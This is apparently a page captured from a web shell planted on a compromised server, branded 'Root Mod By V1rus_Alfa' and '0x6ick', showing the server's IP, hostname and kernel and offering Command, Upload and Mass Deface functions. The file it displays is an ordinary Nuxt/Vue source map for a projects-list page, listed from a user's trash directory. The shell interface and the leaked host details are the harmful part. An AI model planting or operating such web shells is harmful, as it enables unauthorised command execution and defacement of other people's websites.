���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
.trash
/
.nuxt.1
/
dist
/
server
/
_nuxt
/
Viewing: index-DwAHSgES.js.map.json
{"file":"index-DwAHSgES.js","mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;AAkIA,UAAM,EAAC,GAAG,OAAM,IAAI,QAAQ;AACd,aAAS;AACvB,UAAM,aAAa;AACnB,UAAM,QAAQ;AACR,UAAA,gBAAgB,IAAI,KAAK;AACzB,UAAA,UAAU,IAAI,IAAI;AAClB,UAAA,kBAAkB,IAAI,IAAI;AAC1B,UAAA,iCAAiC,IAAI,KAAK;AAEvC,aAAA,mBAAmB,MAAM,MAAM;AACtC,sBAAgB,QAAQ;AACO,qCAAA,QAAQ,CAAC,+BAA+B;AAAA,IACzE;AACA,UAAM,QAAQ,SAAS;AAAA,MACrB,YAAY;AAAA,MACZ,MAAM;AAAA,MACN,eAAe;AAAA,MACf,MAAM;AAAA,IAAA,CACP;AAED,UAAM,WAAW,IAAI;AAAA,MACnB;AAAA,QACE,IAAI;AAAA,QACJ,MAAM;AAAA,MACR;AAAA,IAAA,CACD;AAED,mBAAe,wBAAwB;;AACrC,YAAM,EAAC,KAAA,IAAQ,MAAM,OAAO,wBAAwB;AAAA,QAClD,WAAW;AAAA,QACX,QAAQ;AAAA,MAAA,CACT;AAEQ,eAAA,SAAQ,gBAAK,UAAL,mBAAY,aAAZ,mBAAsB;AAAA,IACzC;AAEM,KAAA,QAAA,SAAA,IAAAA,iBAAA,MAAA,sBAAA,CAAsB;AAEpB,YAAA,IAAI,YAAY,QAAQ;AAE1B,UAAA,cAAc,CAAC,QAAa;AAC1B,YAAA,aAAa,IAAI,IAAI;AACrB,YAAA,OAAO,IAAI,MAAM;AACjB,YAAA,gBAAgB,IAAI,eAAe;AACzC,oBAAc,QAAQ;AAAA,IAAA;AAIxB,mBAAe,aAAa;AACtB,UAAA,CAAC,MAAM,MAAM;AACR,eAAA,MAAM,IAAI,EAAC,OAAO,EAAE,cAAc,GAAG,OAAO,SAAA,CAAS;AAAA,MAC9D;AACI,UAAA,CAAC,MAAM,eAAe;AACjB,eAAA,MAAM,IAAI,EAAC,OAAO,EAAE,eAAe,GAAG,OAAO,SAAA,CAAS;AAAA,MAC/D;AACI,UAAA,CAAC,MAAM,YAAY;AACd,eAAA,MAAM,IAAI,EAAC,OAAO,EAAE,cAAc,GAAG,OAAO,SAAA,CAAS;AAAA,MAC9D;AACA,cAAQ,QAAQ;AAChB,YAAM,OAAO,yBAAyB;AAAA,QACpC,QAAQ;AAAA,QACR,MAAM;AAAA,UACJ,YAAY,MAAM;AAAA,UAClB,MAAM,MAAM;AAAA,UACZ,eAAe,MAAM;AAAA,QACvB;AAAA,QACA,WAAW;AAAA,QACX,QAAQ;AAAA,MAAA,CACT;AACD,cAAQ,QAAQ;AAChB,oBAAc,QAAQ;AAAA,IACxB;AAGA,mBAAe,OAAO,IAAS;;AAC7B,cAAQ,QAAQ;AAChB,YAAM,OAAO,2BAA2B;AAAA,QACtC,QAAQ;AAAA,QACR,MAAM;AAAA,UACJ,YAAY,QAAM,qBAAgB,UAAhB,mBAAuB;AAAA,QAC3C;AAAA,QACA,WAAW;AAAA,QACX,QAAQ;AAAA,MAAA,CACT;AAED,YAAM,sBAAsB;AAEG,qCAAA,QAAQ,CAAC,+BAA+B;AACvE,cAAQ,QAAQ;AAAA,IAClB;AAQQ,YAAA;AAAA,MACN,OAAO,EAAE,eAAe;AAAA,IAAA,CACzB;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;","names":["_withAsyncContext"],"sources":["../../../../pages/projects/index.vue"],"sourcesContent":["<template>\r\n <div v-if=\"loading\" class=\"flex items-center justify-center\">\r\n <SharedLoading/>\r\n </div>\r\n <div v-else>\r\n <section :dir=\"locale == 'en' ? 'ltr' : 'rtl'\" class=\"mt-6 mb-10\">\r\n <ul>\r\n <li class=\"py-4 w-full border-b-2 odd:bg-gray-100 even:bg-white even:text-gray-900\"\r\n v-for=\"(row, idx) in projects\" :key=\"idx\">\r\n <div class=\"pb-2 px-2 cursor-pointer flex justify-between items-center\">\r\n <label class=\" block w-full text-main-700 cursor-pointer text-xs \">\r\n {{ row.name }}\r\n </label>\r\n <div class=\"flex justify-end items-center\">\r\n <UIcon @click=\"toggleModal(row)\" name=\"i-heroicons-pencil-square\"\r\n :class=\"locale == 'en' ? 'mr-4' : 'ml-4'\"\r\n class=\"text-green-600 cursor-pointer ml-4 text-base\"/>\r\n <ULink\r\n square\r\n :loading=\"loading\"\r\n @click.prevent.stop=\"toggleDeleteDialog(row)\"\r\n class=\"flex items-center !text-red-600 !shadow-none justify-center\">\r\n <UIcon name=\"i-heroicons-trash\" :class=\"locale == 'en' ? 'mr-4' : 'ml-4'\"\r\n class=\"text-red-600 cursor-pointer text-base\"/>\r\n </ULink>\r\n\r\n <ULink\r\n :to=\"localePath('/projects/'+row.id)\"\r\n square\r\n class=\" flex text-white rounded bg-red-700 items-center justify-center\">\r\n <span class=\" block p-1 text-xs truncate \">\r\n {{ t('View_Details') }}\r\n </span>\r\n </ULink>\r\n </div>\r\n </div>\r\n </li>\r\n </ul>\r\n </section>\r\n <SharedConfirmationDialog\r\n :toggle-show-up=\"deleteConfirmationDialogIsOpen\"\r\n :message=\"t('are_you_sure_to_do_this_operation')\"\r\n @on-closed=\"toggleDeleteDialog\"\r\n @on-confirmed=\"Delete\"\r\n />\r\n\r\n <UModal v-model=\"isOpenProject\" class=\" !top-0\">\r\n <div :dir=\"locale == 'en' ? 'ltr' : 'rtl'\" class=\" flex justify-between items-center p-2\">\r\n <span class=\" block bold text-xs truncate !top-0 !bottom-auto !justify-start \">\r\n {{ t('project_information') }}\r\n </span>\r\n <UButton color=\"gray\" variant=\"ghost\" icon=\"i-heroicons-x-mark-20-solid\" class=\"-my-1\"\r\n @click=\"isOpenProject = false\"/>\r\n </div>\r\n <div :dir=\"locale == 'en' ? 'ltr' : 'rtl'\"\r\n class=\" h-96 w-full mb-6 mt-3 px-4 pt-3 max-h-full overflow-y-auto \">\r\n <div class=\" flex justify-start items-center w-full mb-3\">\r\n <label :class=\"locale == 'en' ? ' text-left' : ' text-right'\"\r\n class=\"block w-4/12 text-gray-500 bg-white text-xs \">\r\n {{ t('project_name') }}\r\n </label>\r\n <UInput\r\n variant=\"outline\"\r\n class=\"w-9/12\"\r\n :inputClass=\"' w-full !shadow-none focus:ring-1 rounded-sm focus:ring-orange-600 h-7 pl-2 py-0 text-xs' \"\r\n v-model=\"state.name\"\r\n />\r\n </div>\r\n <div class=\" flex justify-start items-center w-full mb-3\">\r\n <label :class=\"locale == 'en' ? ' text-left' : ' text-right'\"\r\n class=\"block w-4/12 text-gray-500 bg-white text-xs \">\r\n {{ t('employer_name') }}\r\n </label>\r\n <UInput\r\n :loading=\"false\"\r\n variant=\"outline\"\r\n class=\"w-9/12\"\r\n :inputClass=\"' w-full !shadow-none focus:ring-1 rounded-sm focus:ring-orange-600 h-7 pl-2 py-0 text-xs' \"\r\n v-model=\"state.name_employer\"\r\n />\r\n </div>\r\n </div>\r\n <div class=\" flex justify-around mb-2 items-center \">\r\n <UButton\r\n @click=\"isOpenProject = false\"\r\n square\r\n class=\"w-5/12 flex px-2 text-white rounded bg-blue-700 items-center justify-center\">\r\n <span class=\" block px-2 text-xs truncate \">\r\n {{ t('Cancel') }}\r\n </span>\r\n </UButton>\r\n <UButton\r\n :loading=\"loading\"\r\n @click=\"ProjectReq()\"\r\n square\r\n class=\"w-5/12 flex px-2 h-8 text-white rounded bg-main-700 items-center justify-center\">\r\n <span class=\" block px-2 text-xs truncate \">\r\n {{ t('Edit') }}\r\n </span>\r\n </UButton>\r\n </div>\r\n </UModal>\r\n <footer\r\n class=\" bg-white flex justify-between items-center pb-2 pt-1 sm:border-r sm:border-l w-full sm:w-9/12 md:w-7/12 lg:w-6/12 2xl:w-5/12 mx-auto fixed bottom-0 right-0 left-0 border-t\">\r\n <div class=\"px-1 w-6/12\">\r\n <ULink\r\n external\r\n :to=\"localePath('/analyze/start')\"\r\n class=\"w-full flex bg-green-700 hover:bg-green-600 rounded border h-7 text-white items-center justify-center\">\r\n <span class=\" block px-2 text-sm truncate \">\r\n {{ t('New Project') }}\r\n </span>\r\n </ULink>\r\n </div>\r\n <div class=\"px-1 w-6/12\">\r\n <ULink\r\n :to=\"localePath('/')\"\r\n class=\"w-full flex bg-red-700 rounded border h-7 text-white items-center justify-center\"\r\n color=\"red\"\r\n >\r\n <span class=\" block px-2 text-sm truncate \">\r\n {{ t('Main Page') }}\r\n </span>\r\n </ULink>\r\n </div>\r\n </footer>\r\n </div>\r\n</template>\r\n\r\n<script setup lang=\"ts\">\r\nconst {t, locale} = useI18n()\r\nconst route = useRoute();\r\nconst localePath = useLocalePath()\r\nconst toast = useToast()\r\nconst isOpenProject = ref(false);\r\nconst loading = ref(true);\r\nconst selectedProject = ref(null);\r\nconst deleteConfirmationDialogIsOpen = ref(false);\r\n\r\nfunction toggleDeleteDialog(row = null) {\r\n selectedProject.value = row;\r\n deleteConfirmationDialogIsOpen.value = !deleteConfirmationDialogIsOpen.value;\r\n}\r\nconst state = reactive({\r\n project_id: undefined,\r\n name: undefined,\r\n name_employer: undefined,\r\n page: 1,\r\n})\r\n\r\nconst projects = ref([\r\n {\r\n id: null,\r\n name: '',\r\n }\r\n]);\r\n\r\nasync function getAllAnalyzeProjects() {\r\n const {data} = await useAPI('/analyze/project/get', {\r\n immediate: true,\r\n server: true,\r\n })\r\n\r\n projects.value = data.value?.projects?.data;\r\n}\r\n\r\nawait getAllAnalyzeProjects();\r\n\r\nconsole.log('projects', projects);\r\n\r\nconst toggleModal = (obj: any) => {\r\n state.project_id = obj['id'];\r\n state.name = obj['name'];\r\n state.name_employer = obj['name_employer'];\r\n isOpenProject.value = true;\r\n}\r\n\r\n// Project request\r\nasync function ProjectReq() {\r\n if (!state.name) {\r\n return toast.add({title: t('project_name'), color: \"orange\"})\r\n }\r\n if (!state.name_employer) {\r\n return toast.add({title: t('employer_name'), color: \"orange\"})\r\n }\r\n if (!state.project_id) {\r\n return toast.add({title: t('refresh page'), color: \"orange\"})\r\n }\r\n loading.value = true;\r\n await useAPI('/analyze/project/edit', {\r\n method: 'POST',\r\n body: {\r\n project_id: state.project_id,\r\n name: state.name,\r\n name_employer: state.name_employer,\r\n },\r\n immediate: true,\r\n server: true,\r\n })\r\n loading.value = false;\r\n isOpenProject.value = false;\r\n}\r\n\r\n\r\nasync function Delete(id: any) {\r\n loading.value = true;\r\n await useAPI('/analyze/project/delete', {\r\n method: 'POST',\r\n body: {\r\n project_id: id ?? selectedProject.value?.id,\r\n },\r\n immediate: true,\r\n server: true,\r\n })\r\n\r\n await getAllAnalyzeProjects();\r\n\r\n deleteConfirmationDialogIsOpen.value = !deleteConfirmationDialogIsOpen.value;\r\n loading.value = false;\r\n}\r\n\r\ndefinePageMeta({\r\n title: '',\r\n layout: 'with-out-footer',\r\n middleware: ['auth'],\r\n});\r\n\r\nuseHead({\r\n title: t('projects_list')\r\n});\r\n\r\nonMounted(() => {\r\n route.meta.title = t('projects_list')\r\n loading.value = false;\r\n})\r\n</script>\r\n"],"version":3}
Coded With 💗 by
0x6ick Mod By V1rus_Alfa